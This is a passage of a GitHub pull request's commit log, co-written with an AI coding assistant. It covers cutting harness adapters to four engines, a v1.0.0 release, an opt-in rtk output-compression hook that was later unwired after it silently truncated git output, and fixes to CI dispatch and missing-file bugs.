accurate now that active pursuit has stopped.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* refactor: cut harness adapter support to 4 engines actually in use

switch-engine.sh supported 15 coding-agent tools, most of them
advisory-only Aider wrappers for cloud providers nobody was using.
Narrows to the four anh actually runs: Claude Code, Cursor, Codex,
Antigravity.

- Removed the copilot/aider/kimi/gemini/qwen/deepseek/openrouter/
  continue/opencode/zed/windsurf/kiro cases from switch-engine.sh
  (core/ and its .claude/ mirror, now byte-identical -- the mirror
  had also drifted independently before this change and is now fully
  resynced).
- Deleted the now-unused adapter source files and kimi-hook-adapter.sh
  (both copies), plus stale generated artifacts for dropped engines
  (GEMINI.md, OPENCODE.md, .github/copilot-instructions.md,
  .windsurf/, .kiro/).
- Updated adapters/README.md, README.md (+vi/ko/zh), cli-reference.md,
  and docs/ARCHITECTURE.md (+.claude mirror) to describe only the 4
  kept engines. Left CHANGELOG.md, ROADMAP.md, and the docs/technical/
  design docs alone -- those are point-in-time historical records, not
  live documentation.

Dispatched security-auditor + code-auditor per 54-bft-consensus-law
for the MANIFEST.json/core-lock changes. No Safety-severity findings;
fixed the Correctness ones they raised: a second scripts_count field
in MANIFEST.json, a missed .claude/scripts/kimi-hook-adapter.sh mirror
copy, and a stale self-reference to the removed `gemini` case inside
adapters/antigravity.md. core-lock re-pinned after review (260 files,
0 drift). yana chat's own provider list (Anthropic/OpenAI/Gemini/Groq/
DeepSeek/OpenRouter/9Router/Ollama/Kimi) is untouched -- a separate
system anh confirmed should stay as-is.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* release: v1.0.0 — first stable product-axis release

Product version axis only (package.json/MANIFEST.json/.claude-plugin
marketplace.json+plugin.json/package-lock.json); Cargo.toml (yana-rt,
already 1.3.3) and pyproject.toml (PyPI, 0.42.3) are unchanged this
cycle per VERSIONING.md's independent-axis scheme.

Two rounds of security-auditor + code-auditor review (54-bft-consensus-
law) on the MANIFEST.json/version-file changes caught real issues,
fixed before this commit:
- bin/yana's subcommand dispatch allow-list was missing two already-
  shipped yana-rt subcommands (observability, skill-quality) -- both
  existed in main.rs but fell through to "Unknown command" when
  invoked via yana-ai. Fixed and independently re-verified by a
  real exec() of bin/yana per 71-entry-point-verify-law, not just a
  diff re-read.
- A scripts-count field in .claude-plugin/plugin.json (114, stale
  since the earlier kimi-hook-adapter.sh deletion) and package.json's
  description (57 hooks/2,013 skills, several releases stale).
- marketplace.json's version had lagged one patch behind package.json/
  MANIFEST.json/plugin.json at 0.43.1 -- all four now read 1.0.0.

No Safety-severity findings from either review round.

See CHANGELOG.md for the full v1.0.0 entry, including an explicit,
unresolved-issues section: npm publish remains frozen at v0.43.1
(account-level block, not fixed by this release) and the desktop app's
auto-update pipeline is broken (tools/yana-desktop/package.json never
bumped past 0.1.0).

Verification: core/scripts/drift-check.sh clean, validate-counts.sh
all 6 counts OK, cargo test 262/262 (199 unit + 63 integration),
verify-core-lock.sh 260 files 0 drift.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: point to rtk for cutting agent token consumption

rtk-ai/rtk (Apache-2.0, single Rust binary) filters/compresses bash
output before an agent reads it -- up to 90% smaller on common dev
commands (git, test runners, linters, cloud CLIs). Documented as a
recommended companion tool, not vendored or added as a dependency:
it's an external CLI proxy, not IP worth reimplementing (unlike the
OpenSpace skill-quality case).

Kept deliberately light -- docs/reference + one README section only,
no core/rules or MANIFEST.json touch, so this doesn't trigger
54-bft-consensus-law's dual-reviewer ceremony for what is a
documentation-only addition.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat: opt-in rtk bridge hook for agent token-consumption reduction

core/hooks/rtk-bridge.sh (mirrored .claude/hooks/ + .codex/hooks/ on
disk, not committed here -- .codex/ itself is separate pre-existing
uncommitted work outside this task's scope): a PreToolUse Bash hook
bridging to the external rtk CLI (github.com/rtk-ai/rtk, Apache-2.0),
which compresses command output before an agent reads it. Not vendored,
not wired into .claude/settings.json's live hook chain -- inert unless
a user sets YANA_RTK_BRIDGE=1 and has rtk installed.

Two rounds of security-auditor + code-auditor review (54-bft-consensus-
law) on this new hook found and fixed real issues before commit:
- Safety: the exit-0 path granted an explicit permissionDecision:allow
  based purely on rtk's own self-reported exit code, with no check that
  the rewrite preserved the original command. Removed -- this hook now
  only ever supplies updatedInput; Yana AI's own destructive-command
  guards and the harness's normal permission flow decide allow/deny/ask
  on whatever command actually runs, same as any command it never saw.
- Safety: rtk was resolved via bare PATH lookup. Added YANA_RTK_BIN to
  let a user pin an absolute path instead (full binary-hash pinning is
  out of scope for a single opt-in bridge -- documented as a deliberate
  tradeoff, not an oversight).
- Safety: added a verbatim-substring invariant check before trusting
  any rewrite -- an unrelated or malicious rewrite falls back to the
  untouched original command rather than being trusted blindly.
- Correctness: no timeout on the rtk call -- a hang would hang the
  whole tool call. Fixed, then hit this repo's own documented macOS
  landmine (no timeout/gtimeout by default) on the first attempt --
  now resolves timeout/gtimeout with the same degrade-gracefully
  pattern already used in hook-timeout-guard.sh.
- Correctness: no test proved the mocked rtk actually received the
  literal command text (a word-splitting regression could have passed
  all prior assertions). Added.

core/tests/hooks/test-rtk-bridge.sh: 25 assertions, including the
malformed-JSON/empty-stdin cases fuzz-testing-constraints.md requires
and a dedicated case for the invariant-rejection fallback.

docs/reference/token-optimization.md: documents what rtk is, install,
how to wire the bridge hook in, and states the data-exposure property
plainly (command text transits an unaudited third-party process once
enabled) per 68-principal-confidentiality-law.md.

Also fixes stale hook/test counts this addition caused: MANIFEST.json
(hooks 61->62, tests 10->11), plugin.json (hooks 61->62), marketplace/
SKILL.md/docs html "61 hooks" mentions -> 62. core-lock.json regenerated
post-review (261 files pinned). drift-check.sh clean, run-hook-tests.sh
260/260.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: add rtk-bridge hook to the v1.0.0 CHANGELOG entry

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat: wire rtk-bridge into the live PreToolUse Bash hook chain

anh confirmed explicitly (AskUserQuestion) after installing rtk 0.43.0
via brew and verifying end-to-end: a raw git status command becomes
"rtk git status" after the rewrite, exit 0, valid updatedInput JSON,
no permissionDecision (per the security fixes already committed in
e062f2ac).

This is the step security-auditor's review explicitly gated on: "before
this is ever wired into .claude settings.json". All 5 of that
reviewer's prerequisites were already addressed in e062f2ac before this
commit. YANA_RTK_BRIDGE=1 is now baked into the hook invocation itself
(matching the existing YANA_GUARDED_HOOK convention), so it runs
automatically without anh needing to export an env var per session.

run-hook-tests.sh 260 of 260 passing, core-lock unaffected (settings
json is not in the pinned set), end-to-end simulation through
hook-timeout-guard.sh confirmed working with the real rtk binary, not
just mocks.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* revert: unwire rtk-bridge from the live default hook chain

Wired live earlier this session with anh's explicit confirmation; unwired
the same session after a concrete failure was observed, not a theoretical
one. With the bridge active, an agent's own verification command
(git log --oneline piped to wc -l) silently returned 50 instead of the
true 1,478 commits -- rtk's compact git log format truncates rather than
counting everything. rtk's own "never emits more tokens than the raw
command" guard is a token-count promise, not a completeness promise.

This is a real risk for any agent (this one included) that relies on
exact tool output for evidence-based claims per verification.md's Iron
Law -- a silently truncated git log could have produced a wrong fact
reported as verified. Caught only by chance, cross-checking against the
GitHub API for an unrelated reason.

core/hooks/rtk-bridge.sh (mirrored .claude/ + .codex/) stays available as
opt-in only, matching its original design -- YANA_RTK_BRIDGE=1 plus a
manual settings.json edit, not auto-wired. Header comment and
docs/reference/token-optimization.md both now document this incident
explicitly as a known limitation of enabling it broadly, not just the
general "compacts output" framing from before.

run-hook-tests.sh 260/260, core-lock regenerated (comment-only hook
change), drift-check.sh clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: port main's newer README structure into locale files, sync v1.0.0

main independently restructured README.md (and its locale translations)
while this branch was diverging with its own v1.0.0/harness-cut/rtk work
-- the yana-rt self-recursion CPU bug warning, demo GIF repositioning,
and a rewritten safety-architecture section (Merkle audit chain,
core-lock integrity, reviewed infrastructure writes, human gate) landed
on main but not here. This caused a real merge conflict in README.ko.md/
README.vi.md/README.zh.md (PR #85), confirmed via git merge-tree preview
before touching anything.

Resolution: took main's newer structural content in each locale file as
the base, then re-applied this branch's own newer facts on top -- v1.0.0
(from v0.43.2), 62 hooks/113 scripts (from 61/108), the 4-engine harness
list (from the stale 12-engine one, including switch-engine.sh examples
and the intro sentence naming all 10+ old engines), and added a
translated "cutting your own token bill" section pointing at rtk (new
content that doesn't exist on main in any language yet).

Also fixed two stale counts in README.md itself, found while using it as
the reference for what the locale files should say: the ASCII banner
still said "61 hooks" and the file-tree comment still said "57
PreToolUse/PostToolUse/Stop hooks" -- both now 62, and the old
10-engine intro sentence (Windsurf/Kiro/OpenCode/Zed/Gemini/Copilot/
Aider) was never updated when harness support was cut to 4, despite the
"4 harness adapters" bullet elsewhere already being correct.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix: two real CI failures found after merging main into PR #85

Investigated PR #85 (already merged to main by the time this was
checked, main's CI workflow currently red) at anh's request to check
for errors. Found two distinct, real, pre-existing bugs -- neither
introduced by this branch's own work, both newly exposed once the
merge brought main and this branch's history together on one CI run.

1. bin/yana's dispatch case-statement was missing `mcp` -- the same bug
   class already fixed once this session for observability/skill-quality:
   a Rust subcommand exists in src/main.rs but bin/yana never routed to
   it, so `yana-ai mcp ...` fell through to "Unknown command" even
   though the underlying yana-rt binary implements it. CI's
   `yana-rt doctor dispatch . --json` self-check caught this
   (`"kind": "unreachable", "name": "mcp"`). Fixed by adding `mcp` to
   the same case-statement line as the other Rust-dispatched
   subcommands. Independently verified via a dedicated verify-agent
   dispatch per 71-entry-point-verify-law.md: red/green comparison
   (bash-level rejection before the fix, clap-level parsing after),
   sibling subcommands on the same line unaffected, and the exact CI
   check reproduced locally with `findings: []` after the fix. Note:
   `mcp` is gated behind a Cargo feature not compiled into the default
   binary (Program J spike, documented in Cargo.toml) -- this fix makes
   it reachable from the CLI, it does not make MCP functionality itself
   available without building with `--features mcp`.

2. .codex/ (agents + hooks mirror, 111 files) and
   core/tests/adapters/cursor/test-before-shell-execution.sh +
   core/adapters/cursor/before-shell-execution.js were never committed
   to this repo at all -- confirmed via `git log --all` returning
   nothing for either path. Yet core/scripts/verify-hook-mirrors.sh
   (already committed) hardcodes .codex/hooks as a mirror it expects to
   match core/hooks/ byte-for-byte, and core/tests/hooks/
   run-hook-tests.sh (already committed) references the adapter test
   suite by exact path. On a fresh checkout (i.e. CI) both checks
   failed because the files they depend on simply weren't there --
   masked locally only because these paths happened to exist untracked
   on-disk. Confirmed and committed after anh's explicit go-ahead:
   .codex/ verified byte-for-byte in sync with core/hooks/ via
   verify-hook-mirrors.sh before staging; the cursor adapter's own test
   suite (6 cases -- destructive-command denial forwarding
   guard-destructive.sh's real reason text, benign-command allow,
   malformed-JSON fail-closed, missing-guard fail-closed,
   guard-destructive.sh's own jq-missing fail-closed forwarded
   end-to-end, and a static no-reimplementation check) run and passing
   locally before commit.

run-hook-tests.sh 260/260, drift-check.sh clean, core-lock unaffected
(.codex/ and core/adapters/ aren't in its pinned scope).

Not yet fixed, flagged separately: a real race condition in
risk-scorer.sh/budget-sentinel.sh vs token-budget-guard.sh (concurrent
writers to the same state file lose updates under real concurrency,
caught by Hook Tests' own race-condition assertions) -- out of scope
for this commit, reported to anh separately.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant